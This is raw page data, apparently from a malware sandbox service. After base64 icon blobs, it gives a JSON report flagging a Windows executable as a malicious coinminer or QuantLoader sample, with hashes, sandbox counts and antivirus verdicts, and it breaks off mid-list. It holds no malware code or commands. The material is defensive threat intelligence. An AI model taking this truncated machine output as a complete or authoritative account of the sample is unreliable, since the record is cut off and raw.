UH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==42:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==43:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==44:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==45:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAB3AAAAAAAAAAAAAAAAAAAAdQAAAAAAAAAAAAAAAAAAAHVwAAAAAAAAAAAAAAAAAAdVcAAAAAAAAAAAAAAAAAAHVXAAAAAAAAAAAAAAAAAAB1VwAAAAAAAAAAAAAAAAAHdVcAAAAAAAAAAAAAAAAAB1VXAAAAAAAAAAAAAAAAAHd1UAAAAAAAAAAAAAAAAAB3V3AAAAAAAAAAAAAAAAAHfdVwAAAAAAAAAAAAAAAAd93XAAAAAAAAAAAAAAAAB3d9dwAAAACAAAAAAAB3d3B3d3AAAAAACIgAAAAHd3d3B3cAAAAAAAAIiIAACHd3d3BwAAAAAAAAAACI3deId3d3AAAAAAAAAAAAAAh3eIdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////////////////////////9/////P////x////8P////D////wf///4H//++B///3gf//+wH///kB///8A////gO9//wDnv/gB8c/AAfgHAAP8AAAH/gAAD/+AAB//8AA///4B////////////////////////////w==46:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAB3AAAAAAAAAAAAAAAAAAAAdQAAAAAAAAAAAAAAAAAAAHVwAAAAAAAAAAAAAAAAAAdVcAAAAAAAAAAAAAAAAAAHVXAAAAAAAAAAAAAAAAAAB1VwAAAAAAAAAAAAAAAAAHdVcAAAAAAAAAAAAAAAAAB1VXAAAAAAAAAAAAAAAAAHd1UAAAAAAAAAAAAAAAAAB3V3AAAAAAAAAAAAAAAAAHfdVwAAAAAAAAAAAAAAAAd93XAAAAAAAAAAAAAAAAB3d9dwAAAACAAAAAAAB3d3B3d3AAAAAACIgAAAAHd3d3B3cAAAAAAAAIiIAACHd3d3BwAAAAAAAAAACI3deId3d3AAAAAAAAAAAAAAh3eIdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////////////////////////9/////P////x////8P////D////wf///4H//++B///3gf//+wH///kB///8A////gO9//wDnv/gB8c/AAfgHAAP8AAAH/gAAD/+AAB//8AA///4B////////////////////////////w==47:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==48:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==49:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIgIiAiIiAiIiIAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAICAgICAgIiIgIiIgAAAAACIiIiAiICAgICAgIAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAAAAAAAAAIiIgIiIgAAAAAAAAACAgICAgICAgIAAAAAAAJAAiIiIiIiAiIiAAAAAAAmQAICAgICAgICAgAAAAAAMAACIiIiIiICIiIAAAAAAsAAAgICAgICAgICAAAAAAAAAAIiIiIiIgIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAACAgICAgAAAAAAAAAAAAAAAiIiAiIAAAAAAAAAAAAAAAICAgICAAAAAAAAAAAAAAACIiICIgAAAAAAAAAAAAAAAgICAgIAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAHAAAADwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf3AAAH9QAAB/EAAAfzAAAH9wAAB/8AAAf/AAAH/wAAB//4AD//+AA///gAP//4AD//+AA///gAP//4AD//+AA//////w==4a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIgIiAiIiAiIiIAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAICAgICAgIiIgIiIgAAAAACIiIiAiICAgICAgIAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAAAAAAAAAIiIgIiIgAAAAAAAAACAgICAgICAgIAAAAAAAJAAiIiIiIiAiIiAAAAAAAmQAICAgICAgICAgAAAAAAMAACIiIiIiICIiIAAAAAAsAAAgICAgICAgICAAAAAAAAAAIiIiIiIgIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAACAgICAgAAAAAAAAAAAAAAAiIiAiIAAAAAAAAAAAAAAAICAgICAAAAAAAAAAAAAAACIiICIgAAAAAAAAAAAAAAAgICAgIAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAHAAAADwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf3AAAH9QAAB/EAAAfzAAAH9wAAB/8AAAf/AAAH/wAAB//4AD//+AA///gAP//4AD//+AA///gAP//4AD//+AA//////w==4b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIgIiAiIiAiIiIAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAICAgICAgIiIgIiIgAAAAACIiIiAiICAgICAgIAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAAAAAAAAAIiIgIiIgAAAAAAAAACAgICAgICAgIAAAAAAAJAAiIiIiIiAiIiAAAAAAAmQAICAgICAgICAgAAAAAAMAACIiIiIiICIiIAAAAAAsAAAgICAgICAgICAAAAAAAAAAIiIiIiIgIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAACAgICAgAAAAAAAAAAAAAAAiIiAiIAAAAAAAAAAAAAAAICAgICAAAAAAAAAAAAAAACIiICIgAAAAAAAAAAAAAAAgICAgIAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAHAAAADwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf3AAAH9QAAB/EAAAfzAAAH9wAAB/8AAAf/AAAH/wAAB//4AD//+AA///gAP//4AD//+AA///gAP//4AD//+AA//////w==4c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIgIiAiIiAiIiIAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAICAgICAgIiIgIiIgAAAAACIiIiAiICAgICAgIAAAAAAgICAgICAiIiAiIiAAAAAAIiIiICIgICAgICAgAAAAACAgICAgICIiICIiIAAAAAAiIiIgIiAgICAgICAAAAAAAAAAAAAAIiIgIiIgAAAAAAAAACAgICAgICAgIAAAAAAAJAAiIiIiIiAiIiAAAAAAAmQAICAgICAgICAgAAAAAAMAACIiIiIiICIiIAAAAAAsAAAgICAgICAgICAAAAAAAAAAIiIiIiIgIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAACAgICAgAAAAAAAAAAAAAAAiIiAiIAAAAAAAAAAAAAAAICAgICAAAAAAAAAAAAAAACIiICIgAAAAAAAAAAAAAAAgICAgIAAAAAAAAAAAAAAAIiIgIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAHAAAADwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf3AAAH9QAAB/EAAAfzAAAH9wAAB/8AAAf/AAAH/wAAB//4AD//+AA///gAP//4AD//+AA///gAP//4AD//+AA//////w==30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793899932690,"unified_at":"2026-11-05T17:32:12.690Z","metadata":{"hashes":{"sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","sha1":"77316db8b21a0701dda56a01530458a6f1a4c41c","md5":"bd68cbd8ae167cbe6c5f50e4988acf9d","sha512":"ea825c8693124e591e869a48fa64999b716fd244554e0e24449b72091993ff063530f9014571401f1c3ea23478fcbf99ecd2d28b5cfc623ae3bb3e42aff60897","ssdeep":"3072:WwJ52Y7ZoH5XJaCRy8GxmTt2edQkTmOeDcNw5xdn8k:WwHysCRy8Gx0tWkTmOYQGN","ssdeep_chunks":["3072:WwJ52Y7","3072:wJ52Y7Z","3072:J52Y7Zo","3072:52Y7ZoH","3072:2Y7ZoH5","3072:Y7ZoH5X","3072:7ZoH5XJ","3072:ZoH5XJa","3072:oH5XJaC","3072:H5XJaCR","3072:5XJaCRy","3072:XJaCRy8","3072:JaCRy8G","3072:aCRy8Gx","3072:CRy8Gxm","3072:Ry8GxmT","3072:y8GxmTt","3072:8GxmTt2","3072:GxmTt2e","3072:xmTt2ed","3072:mTt2edQ","3072:Tt2edQk","3072:t2edQkT","3072:2edQkTm","3072:edQkTmO","3072:dQkTmOe","3072:QkTmOeD","3072:kTmOeDc","3072:TmOeDcN","3072:mOeDcNw","3072:OeDcNw5","3072:eDcNw5x","3072:DcNw5xd","3072:cNw5xdn","3072:Nw5xdn8","3072:w5xdn8k","6144:WwJ52Y7","6144:wJ52Y7Z","6144:J52Y7Zo","6144:52Y7ZoH","6144:2Y7ZoH5","6144:Y7ZoH5X","6144:7ZoH5XJ","6144:ZoH5XJa","6144:oH5XJaC","6144:H5XJaCR","6144:5XJaCRy","6144:XJaCRy8","6144:JaCRy8G","6144:aCRy8Gx","6144:CRy8Gxm","6144:Ry8GxmT","6144:y8GxmTt","6144:8GxmTt2","6144:GxmTt2e","6144:xmTt2ed","6144:mTt2edQ","6144:Tt2edQk","6144:t2edQkT","6144:2edQkTm","6144:edQkTmO","6144:dQkTmOe","6144:QkTmOeD","6144:kTmOeDc","6144:TmOeDcN","6144:mOeDcNw","6144:OeDcNw5","6144:eDcNw5x","6144:DcNw5xd","6144:cNw5xdn","6144:Nw5xdn8","6144:w5xdn8k","3072:WwHysCR","3072:wHysCRy","3072:HysCRy8","3072:ysCRy8G","3072:sCRy8Gx","3072:CRy8Gx0","3072:Ry8Gx0t","3072:y8Gx0tW","3072:8Gx0tWk","3072:Gx0tWkT","3072:x0tWkTm","3072:0tWkTmO","3072:tWkTmOY","3072:WkTmOYQ","3072:kTmOYQG","3072:TmOYQGN"],"imphash":"e160ef8e55bb9d162da4e266afd9eef3"},"file_info":{"file_name":"2017-11-29_09-47-57.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":128708,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1511949662000,"last_seen":1677375538000,"last_multi_scan":1677375538000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["coinminer","miner","quantloader"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":14,"suspicious_count":18,"malicious_count":14,"total":46},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Blocker","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1220173","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.12675564","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Zbot-7090518-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% 